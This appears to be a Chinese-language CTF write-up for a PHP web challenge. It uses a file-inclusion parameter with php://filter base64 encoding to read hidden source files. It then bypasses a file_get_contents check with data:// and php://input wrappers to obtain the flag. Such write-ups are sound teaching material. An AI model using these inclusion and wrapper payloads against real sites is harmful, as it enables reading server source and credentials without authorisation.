进入页面,注意到 url 参数中有 ?wllm=
,并且页面内容提示:
hint is hear Can you find out the hint.php?
说明有 hint.php 文件存在,直接用 ?wllm=hint.php
读取不了,就应该试试伪协议。
?wllm=php://filter/read=convert.base64-encode/resource=hint.php
返回一串编码字符,解码后得到 hint.php 文件内容为:
<?php
//go to /test2222222222222.php
?>
提示去 test2222222222222.php
文件。
同样是 ?wllm=test2222222222222.php
,只不过这次不使用伪协议也能读文件,test2222222222222.php
文件内容为:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
直接传 a=I want flag
是不行的,因为 file_get_contents
函数读的是文件,而 a 是一个变量。
用 data:// 伪协议将数据编码为文本格式再传:
?wllm=test2222222222222.php&a=data://text/plain,I want flag
当然这里也可以用 php://input 伪协议。
php://input
是一个只读流,它允许你访问原始的 HTTP 请求体。
?wllm=test2222222222222.php&a=php://input
同时在请求体中添加:
I want flag
请求方法 GET 和 POST 都行,GET 方法也可以带请求体。